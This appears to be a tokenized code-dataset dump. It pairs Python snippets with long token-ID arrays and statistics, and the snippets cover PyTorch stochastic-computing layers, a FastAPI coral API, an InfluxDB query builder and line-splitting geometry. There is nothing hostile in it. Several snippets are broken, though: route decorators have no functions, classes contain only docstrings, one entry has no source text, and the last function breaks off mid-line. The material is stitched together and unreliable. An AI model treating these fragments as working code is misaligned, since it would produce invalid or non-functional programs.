220, 220, 220, 220, 220, 220, 2116, 13, 2220, 62, 6738, 62, 11600, 7, 17752, 62, 7890, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 3487, 1096, 3815, 26019, 27464, 5244, 4658, 11, 3484, 290, 8198, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 11265, 1096, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 30276, 20086, 25, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 45841, 3976, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 4868, 62, 1659, 62, 82, 684, 796, 2116, 13, 45841, 3976, 13, 30073, 3419, 220, 1303, 2622, 287, 11672, 64, 62, 282, 42289, 13, 9078, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 9948, 3129, 378, 62, 45841, 3976, 3419, 628, 220, 220, 220, 825, 15284, 62, 45841, 3976, 7, 944, 8, 4613, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 15056, 262, 1351, 286, 20086, 11, 664, 1834, 2280, 7000, 20086, 286, 5359, 11, 198, 220, 220, 220, 220, 220, 220, 220, 8914, 287, 1123, 5359, 6376, 477, 262, 5359, 326, 423, 284, 307, 3017, 284, 15959, 262, 20203, 8733, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 3605, 62, 45841, 3976, 796, 23884, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 20203, 796, 6376, 62, 45841, 1387, 10, 16, 357, 301, 5889, 422, 352, 8, 198, 220, 220, 220, 220, 220, 220, 220, 329, 1207, 287, 2837, 7, 11925, 7, 944, 13, 45841, 3976, 8, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 45841, 3976, 58, 10378, 60, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 611, 43089, 468, 20086, 4613, 751, 606, 290, 4219, 27506, 1257, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 1207, 17, 287, 2116, 13, 45841, 3976, 58, 10378, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 3605, 62, 45841, 3976, 13, 2617, 12286, 7, 10378, 11, 17635, 737, 33295, 7, 10378, 17, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 14644, 62, 45841, 3976, 7, 10378, 11, 1207, 17, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 3650, 649, 20086, 1729, 7830, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 45841, 3976, 796, 45941, 13, 28920, 7, 11925, 7, 944, 13, 45841, 3976, 828, 288, 4906, 28, 15252, 8, 198, 220, 220, 220, 220, 220, 220, 220, 329, 1312, 287, 2837, 7, 11925, 7, 944, 13, 45841, 3976, 8, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 1312, 407, 287, 2116, 13, 3605, 62, 45841, 3976, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 45841, 3976, 58, 72, 60, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 45841, 3976, 58, 72, 60, 796, 1351, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 8633, 13, 6738, 13083, 7, 944, 13, 3605, 62, 45841, 3976, 58, 72, 60, 4008, 628, 220, 220, 220, 825, 3487, 1096, 7, 944, 8, 4613, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 15056, 262, 3484, 11, 1330, 1817, 290, 15369, 11, 428, 2446, 43707, 262, 2472, 14676, 290, 4776, 11, 290, 16252, 1575, 290, 198, 220, 220, 220, 220, 220, 220, 220, 14676, 1262, 949, 12, 9806, 3487, 1634, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 997, 62, 40842, 271, 796, 18896, 7, 944, 13, 40842, 271, 62, 15805, 8, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 40842, 271, 62, 82, 17403, 2673, 796, 2116, 13, 301, 539, 10476, 62, 11748, 1817, 13, 26518, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 301, 539, 10476, 62, 40842, 271, 62, 3448, 273, 871, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 783, 734, 29459, 5679, 11, 1912, 319, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 3740, 1378, 268, 13, 31266, 13, 2398, 14, 15466, 14, 38816, 62, 1416, 4272, 2, 49, 3798, 4272, 41052, 1084, 12, 9806, 62, 11265, 1634, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 5046, 279, 41907, 1575, 287, 2837, 685, 15, 12, 16, 60, 198, 220, 220, 220, 220, 220, 220, 220, 10330, 796, 352, 1220, 997, 62, 40842, 271, 220, 1303, 973, 284, 3368, 1976, 27498, 198, 220, 220, 220, 220, 220, 220, 220, 814, 796, 45941, 13, 16345, 7, 944, 13, 40842, 271, 62, 15805, 8, 532, 45941, 13, 1084, 7, 944, 13, 40842, 271, 62, 15805, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 40842, 271, 62, 15805, 62, 1416, 3021, 796, 357, 944, 13, 40842, 271, 62, 15805, 532, 45941, 13, 1084, 7, 944, 13, 40842, 271, 62, 15805, 8, 1343, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10330, 8, 1220, 357, 26069, 1343, 10330, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 5046, 279, 41907, 14676, 287, 2837, 58, 15, 12, 16, 60, 198, 220, 220, 220, 220, 220, 220, 220, 814, 796, 45941, 13, 16345, 7, 944, 13, 40842, 271, 62, 82, 17403, 2673, 8, 532, 45941, 13, 1084, 7, 944, 13, 40842, 271, 62, 82, 17403, 2673, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 40842, 271, 62, 82, 17403, 2673, 62, 1416, 3021, 796, 357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 40842, 271, 62, 82, 17403, 2673, 532, 45941, 13, 1084, 7, 944, 13, 40842, 271, 62, 82, 17403, 2673, 8, 1343, 10330, 8, 1220, 357, 26069, 1343, 10330, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 1123, 279, 8482, 4776, 318, 29231, 422, 262, 27464, 6300, 286, 279, 8482, 14676, 290, 1575, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 40842, 271, 62, 26675, 796, 2116, 13, 40842, 271, 62, 82, 17403, 2673, 62, 1416, 3021, 1220, 2116, 13, 40842, 271, 62, 15805, 62, 1416, 3021, 198 ]
2.360686
1,633
from exercices.solutions.framework.core.base import BasePage from exercices.solutions.framework.pages.newUserPage import newUserPage
[ 6738, 4208, 1063, 13, 82, 14191, 13, 30604, 13, 7295, 13, 8692, 1330, 7308, 9876, 198, 6738, 4208, 1063, 13, 82, 14191, 13, 30604, 13, 31126, 13, 3605, 12982, 9876, 1330, 649, 12982, 9876, 628, 198 ]
3.75
36
# from .post_process import detector_postprocess
[ 2, 422, 764, 7353, 62, 14681, 1330, 31029, 62, 7353, 14681 ]
4.363636
11
import os from pathlib import Path
[ 11748, 28686, 198, 6738, 3108, 8019, 1330, 10644, 198 ]
3.888889
9
import torch import torch.nn as nn import torch.nn.functional as F import utils_functional ''' Custom layers for SC ''' class Conv2d_Add_Partial(nn.Conv2d): ''' SC Conv2d using partial binary add ''' def forward(self, input, prec=7, err=7, forward='1d_bin', generator='lfsr', z_unit=8, legacy=False, load_unit=8, load_wait_w=2, load_wait_a=2): ''' Arguments: prec: weight and activation precision to quantize to err: stream length in the form of 2**err forward: sc compute. Specifically how accumulation is done generator: stream generator z_unit: number of input channles to sum using OR accumulation when forward==yz_bin legacy: disable accelerated kernels load_unit: number of bits to load each time for progressive loading load_wait_w: number of cycles to wait between loading weights for progressive loading load_wait_a: number of cycles to wait between loading activations for progressive loading ''' input.data = utils_functional.quantize(input.data, prec=prec) self.weight.data = utils_functional.quantize(self.weight_org, prec=prec) out = utils_functional.conv2d_generic(input, self.weight, bit_length=2**err, padding=self.padding, stride=self.stride, forward=forward, generator=generator, legacy=legacy, z_unit=z_unit, load_unit=load_unit, load_wait_w=load_wait_w, load_wait_a=load_wait_a) return out class BatchNorm2d_fixed(nn.BatchNorm2d): ''' Quantized 2d batchnorm ''' class BatchNorm1d_fixed(nn.BatchNorm1d): ''' Quantized 1d batchnorm '''
[ 11748, 28034, 198, 11748, 28034, 13, 20471, 355, 299, 77, 198, 11748, 28034, 13, 20471, 13, 45124, 355, 376, 198, 198, 11748, 3384, 4487, 62, 45124, 198, 198, 7061, 6, 198, 15022, 11685, 329, 6374, 198, 7061, 6, 198, 198, 4871, 34872, 17, 67, 62, 4550, 62, 7841, 498, 7, 20471, 13, 3103, 85, 17, 67, 2599, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 6374, 34872, 17, 67, 1262, 13027, 13934, 751, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 220, 198, 220, 220, 220, 825, 2651, 7, 944, 11, 5128, 11, 3718, 28, 22, 11, 11454, 28, 22, 11, 2651, 11639, 16, 67, 62, 8800, 3256, 17301, 11639, 1652, 27891, 3256, 1976, 62, 20850, 28, 23, 11, 10655, 28, 25101, 11, 3440, 62, 20850, 28, 23, 11, 3440, 62, 17077, 62, 86, 28, 17, 11, 3440, 62, 17077, 62, 64, 28, 17, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 220, 220, 220, 220, 20559, 2886, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3718, 25, 3463, 290, 14916, 15440, 284, 5554, 1096, 284, 198, 220, 220, 220, 220, 220, 220, 220, 11454, 25, 4269, 4129, 287, 262, 1296, 286, 362, 1174, 8056, 198, 220, 220, 220, 220, 220, 220, 220, 2651, 25, 629, 24061, 13, 22426, 703, 24106, 318, 1760, 198, 220, 220, 220, 220, 220, 220, 220, 17301, 25, 4269, 17301, 198, 220, 220, 220, 220, 220, 220, 220, 1976, 62, 20850, 25, 1271, 286, 5128, 442, 1236, 829, 284, 2160, 1262, 6375, 24106, 618, 2651, 855, 45579, 62, 8800, 198, 220, 220, 220, 220, 220, 220, 220, 10655, 25, 15560, 23312, 50207, 198, 220, 220, 220, 220, 220, 220, 220, 3440, 62, 20850, 25, 1271, 286, 10340, 284, 3440, 1123, 640, 329, 10393, 11046, 198, 220, 220, 220, 220, 220, 220, 220, 3440, 62, 17077, 62, 86, 25, 1271, 286, 16006, 284, 4043, 1022, 11046, 19590, 329, 10393, 11046, 198, 220, 220, 220, 220, 220, 220, 220, 3440, 62, 17077, 62, 64, 25, 1271, 286, 16006, 284, 4043, 1022, 11046, 1753, 602, 329, 10393, 11046, 198, 220, 220, 220, 220, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 220, 220, 220, 220, 5128, 13, 7890, 796, 3384, 4487, 62, 45124, 13, 40972, 1096, 7, 15414, 13, 7890, 11, 3718, 28, 3866, 66, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 6551, 13, 7890, 796, 3384, 4487, 62, 45124, 13, 40972, 1096, 7, 944, 13, 6551, 62, 2398, 11, 3718, 28, 3866, 66, 8, 198, 220, 220, 220, 220, 220, 220, 220, 503, 796, 3384, 4487, 62, 45124, 13, 42946, 17, 67, 62, 41357, 7, 15414, 11, 2116, 13, 6551, 11, 1643, 62, 13664, 28, 17, 1174, 8056, 11, 24511, 28, 944, 13, 39231, 11, 33769, 28, 944, 13, 2536, 485, 11, 2651, 28, 11813, 11, 17301, 28, 8612, 1352, 11, 10655, 28, 1455, 1590, 11, 1976, 62, 20850, 28, 89, 62, 20850, 11, 3440, 62, 20850, 28, 2220, 62, 20850, 11, 3440, 62, 17077, 62, 86, 28, 2220, 62, 17077, 62, 86, 11, 3440, 62, 17077, 62, 64, 28, 2220, 62, 17077, 62, 64, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 503, 198, 198, 4871, 347, 963, 35393, 17, 67, 62, 34021, 7, 20471, 13, 33, 963, 35393, 17, 67, 2599, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 16972, 1143, 362, 67, 15458, 27237, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 220, 198, 4871, 347, 963, 35393, 16, 67, 62, 34021, 7, 20471, 13, 33, 963, 35393, 16, 67, 2599, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 16972, 1143, 352, 67, 15458, 27237, 198, 220, 220, 220, 705, 7061 ]
2.630225
622
from fastapi import FastAPI, Path, status from pydantic import BaseModel from fastapi.responses import JSONResponse from starlette.status import ( HTTP_200_OK, HTTP_404_NOT_FOUND, HTTP_409_CONFLICT ) from database import CoralDatabase, get_coral_by_catalog_number_db, \ get_coral_by_category_db, add_coral_to_db, update_coral_db, delete_coral_db from api_utils import api_reply app = FastAPI() db = CoralDatabase() @app.get("/") @app.get("/coral/{catalog_number}") @app.get("/coral-category/{coral_category}") @app.post("/new-coral/{catalog_number}") @app.put("/update-coral/{catalog_number}") @app.delete("/delete-coral/{catalog_number}")
[ 6738, 3049, 15042, 1330, 12549, 17614, 11, 10644, 11, 3722, 198, 6738, 279, 5173, 5109, 1330, 7308, 17633, 198, 6738, 3049, 15042, 13, 16733, 274, 1330, 19449, 31077, 198, 6738, 3491, 21348, 13, 13376, 1330, 357, 198, 220, 220, 220, 14626, 62, 2167, 62, 11380, 11, 198, 220, 220, 220, 14626, 62, 26429, 62, 11929, 62, 37, 15919, 11, 198, 220, 220, 220, 14626, 62, 29416, 62, 10943, 3697, 18379, 198, 8, 198, 6738, 6831, 1330, 41390, 38105, 11, 651, 62, 66, 6864, 62, 1525, 62, 9246, 11794, 62, 17618, 62, 9945, 11, 3467, 198, 651, 62, 66, 6864, 62, 1525, 62, 22872, 62, 9945, 11, 751, 62, 66, 6864, 62, 1462, 62, 9945, 11, 4296, 62, 66, 6864, 62, 9945, 11, 12233, 62, 66, 6864, 62, 9945, 198, 6738, 40391, 62, 26791, 1330, 40391, 62, 47768, 198, 198, 1324, 796, 12549, 17614, 3419, 198, 9945, 796, 41390, 38105, 3419, 628, 198, 198, 31, 1324, 13, 1136, 7203, 14, 4943, 628, 198, 31, 1324, 13, 1136, 7203, 14, 66, 6864, 14, 90, 9246, 11794, 62, 17618, 92, 4943, 628, 198, 31, 1324, 13, 1136, 7203, 14, 66, 6864, 12, 22872, 14, 90, 66, 6864, 62, 22872, 92, 4943, 628, 198, 198, 31, 1324, 13, 7353, 7203, 14, 3605, 12, 66, 6864, 14, 90, 9246, 11794, 62, 17618, 92, 4943, 628, 198, 31, 1324, 13, 1996, 7203, 14, 19119, 12, 66, 6864, 14, 90, 9246, 11794, 62, 17618, 92, 4943, 628, 198, 31, 1324, 13, 33678, 7203, 14, 33678, 12, 66, 6864, 14, 90, 9246, 11794, 62, 17618, 92, 4943, 198 ]
2.569231
260
"""Global configuration used across all subsystems.""" import os __version__ = os.getenv("PKG_VERSION", "0.0.0") epilog = "‹/› with ♥ from South Dakota © 2018 Jake Brinkmann"
[ 37811, 22289, 8398, 973, 1973, 477, 39335, 82, 526, 15931, 198, 198, 11748, 28686, 198, 198, 834, 9641, 834, 796, 28686, 13, 1136, 24330, 7203, 40492, 38, 62, 43717, 1600, 366, 15, 13, 15, 13, 15, 4943, 198, 198, 538, 346, 519, 796, 366, 447, 117, 14, 447, 118, 351, 20724, 98, 422, 2520, 13336, 10673, 2864, 14757, 1709, 676, 9038, 1, 198 ]
2.825397
63
""" InfluxDB Query Object. """ import functools from influxalchemy import meta class InfluxDBQuery: """ InfluxDB Query object. entities (tuple): Query entities client (InfluxAlchemy): InfluxAlchemy instance expressions (tuple): Query filters groupby (str): GROUP BY string limit (int): LIMIT int """ def execute(self): """ Execute query. """ return self._client.bind.query(str(self)) def filter(self, *expressions): """ Filter query. """ expressions = self._expressions + expressions return InfluxDBQuery(self._entities, self._client, expressions=expressions) def filter_by(self, **kwargs): """ Filter query by tag value. """ expressions = self._expressions for key, val in sorted(kwargs.items()): expressions += (meta.TagExp.equals(key, val),) return InfluxDBQuery(self._entities, self._client, expressions=expressions) def group_by(self, groupby): """ Group query. """ return InfluxDBQuery( self._entities, self._client, self._expressions, groupby) def limit(self, limit): """ Limit query """ assert isinstance(limit, int) return InfluxDBQuery( self._entities, self._client, self._expressions, self._groupby, limit) @property def measurement(self): """ Query measurement. """ measurements = set(x.measurement for x in self._entities) return functools.reduce(lambda x, y: x | y, measurements) @property def _select(self): """ SELECT statement. """ selects = [] for ent in self._entities: # Entity is a Tag if isinstance(ent, meta.Tag): selects.append(str(ent)) # Entity is a Measurement else: try: for tag in self._client.tags(ent): selects.append(tag) for field in self._client.fields(ent): selects.append(field) # pylint: disable=broad-except except Exception: pass return selects or ["*"] @property def _from(self): """ FROM statement. """ return str(self.measurement) @property def _where(self): """ WHERE statement. """ for exp in self._expressions: yield "(%s)" % exp
[ 37811, 198, 18943, 22564, 11012, 43301, 9515, 13, 198, 37811, 198, 11748, 1257, 310, 10141, 198, 198, 6738, 25065, 282, 26599, 1330, 13634, 628, 198, 4871, 4806, 22564, 11012, 20746, 25, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 4806, 22564, 11012, 43301, 2134, 13, 628, 220, 220, 220, 12066, 220, 220, 220, 357, 83, 29291, 2599, 220, 220, 220, 220, 220, 220, 220, 220, 220, 43301, 12066, 198, 220, 220, 220, 5456, 220, 220, 220, 220, 220, 357, 18943, 22564, 2348, 26599, 2599, 220, 4806, 22564, 2348, 26599, 4554, 198, 220, 220, 220, 14700, 357, 83, 29291, 2599, 220, 220, 220, 220, 220, 220, 220, 220, 220, 43301, 16628, 198, 220, 220, 220, 1448, 1525, 220, 220, 220, 220, 357, 2536, 2599, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 44441, 11050, 4731, 198, 220, 220, 220, 4179, 220, 220, 220, 220, 220, 220, 357, 600, 2599, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 27564, 2043, 493, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 825, 12260, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 8393, 1133, 12405, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 16366, 13, 21653, 13, 22766, 7, 2536, 7, 944, 4008, 628, 220, 220, 220, 825, 8106, 7, 944, 11, 1635, 42712, 507, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 25853, 12405, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 14700, 796, 2116, 13557, 42712, 507, 1343, 14700, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 4806, 22564, 11012, 20746, 7, 944, 13557, 298, 871, 11, 2116, 13557, 16366, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 14700, 28, 42712, 507, 8, 628, 220, 220, 220, 825, 8106, 62, 1525, 7, 944, 11, 12429, 46265, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 25853, 12405, 416, 7621, 1988, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 14700, 796, 2116, 13557, 42712, 507, 198, 220, 220, 220, 220, 220, 220, 220, 329, 1994, 11, 1188, 287, 23243, 7, 46265, 22046, 13, 23814, 3419, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 14700, 15853, 357, 28961, 13, 24835, 16870, 13, 4853, 874, 7, 2539, 11, 1188, 828, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 4806, 22564, 11012, 20746, 7, 944, 13557, 298, 871, 11, 2116, 13557, 16366, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 14700, 28, 42712, 507, 8, 628, 220, 220, 220, 825, 1448, 62, 1525, 7, 944, 11, 1448, 1525, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 4912, 12405, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 4806, 22564, 11012, 20746, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 298, 871, 11, 2116, 13557, 16366, 11, 2116, 13557, 42712, 507, 11, 1448, 1525, 8, 628, 220, 220, 220, 825, 4179, 7, 944, 11, 4179, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 27272, 12405, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 318, 39098, 7, 32374, 11, 493, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 4806, 22564, 11012, 20746, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 298, 871, 11, 2116, 13557, 16366, 11, 2116, 13557, 42712, 507, 11, 2116, 13557, 8094, 1525, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4179, 8, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 15558, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 43301, 15558, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 13871, 796, 900, 7, 87, 13, 1326, 5015, 434, 329, 2124, 287, 2116, 13557, 298, 871, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 1257, 310, 10141, 13, 445, 7234, 7, 50033, 2124, 11, 331, 25, 2124, 930, 331, 11, 13871, 8, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 4808, 19738, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 33493, 2643, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 40573, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 329, 920, 287, 2116, 13557, 298, 871, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 20885, 318, 257, 17467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 318, 39098, 7, 298, 11, 13634, 13, 24835, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 40573, 13, 33295, 7, 2536, 7, 298, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 20885, 318, 257, 24291, 434, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 7621, 287, 2116, 13557, 16366, 13, 31499, 7, 298, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 40573, 13, 33295, 7, 12985, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 2214, 287, 2116, 13557, 16366, 13, 25747, 7, 298, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 40573, 13, 33295, 7, 3245, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 279, 2645, 600, 25, 15560, 28, 36654, 12, 16341, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2845, 35528, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1208, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 40573, 393, 14631, 9, 8973, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 4808, 6738, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 16034, 2643, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 965, 7, 944, 13, 1326, 5015, 434, 8, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 4808, 3003, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 33411, 2643, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 329, 1033, 287, 2116, 13557, 42712, 507, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 7800, 30629, 4, 82, 16725, 4064, 1033, 198 ]
2.026139
1,339
import numpy as np from scipy import interpolate import ezdxf import h5py from copy import copy from Roadways import * def NormalVectorToLineSegment(linepts, pt): """ linepts = np.array([[x1,x2],[y1,y2]]) pt.shape = (2,N) # can be single pt or multiple pts """ if pt.ndim == 1: pt = np.expand_dims(pt,1) base_pt = np.expand_dims(linepts[:,0],1) base_vec = np.expand_dims(linepts[:,1] - linepts[:,0],1) base_vec = base_vec / np.linalg.norm(base_vec) diff_vec = pt - base_pt normal = diff_vec - base_vec * base_vec.T.dot(diff_vec) return normal def NormalDisplacementFromLineSegment(linepts, pt): """ returns a positive or negative distance for each query point """ base_pt = np.expand_dims(linepts[:,0],1) base_vec = np.expand_dims(linepts[:,1] - linepts[:,0],1) base_vec = base_vec / np.linalg.norm(base_vec) diff_vec = pt - base_pt sign = np.sign(np.cross(diff_vec.T,base_vec.T)) dist = np.sqrt(np.sum((diff_vec - base_vec * base_vec.T.dot(diff_vec))**2,axis=0)) return sign * dist def SplitLineRecursive(linepts,i,j,THRESHOLD=5.0,ds_min=50.0): """ Choose best point at which to split a line to minimize total reprojection error """ max_err = np.max(ProjectionError(np.stack((linepts[:,i],linepts[:,j])).T, linepts[:,i:j])) if max_err < THRESHOLD: ds = np.cumsum(np.sqrt(np.sum(np.diff(linepts[:,i:j])**2,axis=0))) if ds[-1] > ds_min: k = i + np.argmin((ds - ds[-1]/2.)**2) + 1 return k else: return j errors1 = np.zeros(j-(i+1)) errors2 = np.zeros(j-(i+1)) max_errors1 = np.zeros(j-(i+1)) max_errors2 = np.zeros(j-(i+1)) for k in range(i+1,j): l1 = np.stack((linepts[:,i],linepts[:,k])).T l2 = np.stack((linepts[:,k],linepts[:,j])).T errors1[k-i-1] = np.sum(ProjectionError(l1, linepts[:,i+1:k])) / (k-i) errors2[k-i-1] = np.sum(ProjectionError(l2, linepts[:,k+1:j])) / (j-k) max_errors1[k-i-1] = np.max(ProjectionError(l1, linepts[:,i:k])) max_errors2[k-i-1] = np.max(ProjectionError(l2, linepts[:,k:j])) k = i+1 + np.argmin(errors1 + errors2) # max_err1 = np.max(max_errors1) # max_err2 = np.max(max_errors2) return k def FindBestLinearSplit(pts,i,j,THRESHOLD=1.0): """ Not working yet... """ max_err = np.max(ProjectionError(np.stack((pts[:,i],pts[:,j])).T, pts)) if max_err < THRESHOLD: return j errors1 = np.zeros(j-(i+1)) errors2 = np.zeros(j-(i+1)) max_errors1 = np.zeros(j-(i+1)) max_errors2 = np.zeros(j-(i+1)) for k in range(i+1,j): X1 = np.stack([pts[0,i:k],np.ones(k-i)]).T X2 = np.stack([pts[0,k:j],np.ones(j-k)]).T X = np.block([[X1,np.zeros_like(X1)],[np.zeros_like(X2),X2]]) Y = pts[1,i:j] params = np.linalg.inv(X.T.dot(X)).dot(X.T).dot(Y) Yhat = X.dot(params) l1 = np.stack([ [pts[0,i],Yhat[i]], [pts[0,k],Yhat[k]] ]).T l2 = np.stack([ [pts[0,k],Yhat[k]], [pts[0,j-1],Yhat[j-1]] ]).T errors1[k-i-1] = np.sum(ProjectionError(l1, pts[:,i+1:k])) / (k-i) errors2[k-i-1] = np.sum(ProjectionError(l2, pts[:,k+1:j])) / (j-k) max_errors1[k-i-1] = np.max(ProjectionError(l1, pts[:,i:k])) max_errors2[k-i-1] = np.max(ProjectionError(l2, pts[:,k:j])) k = i+1 + 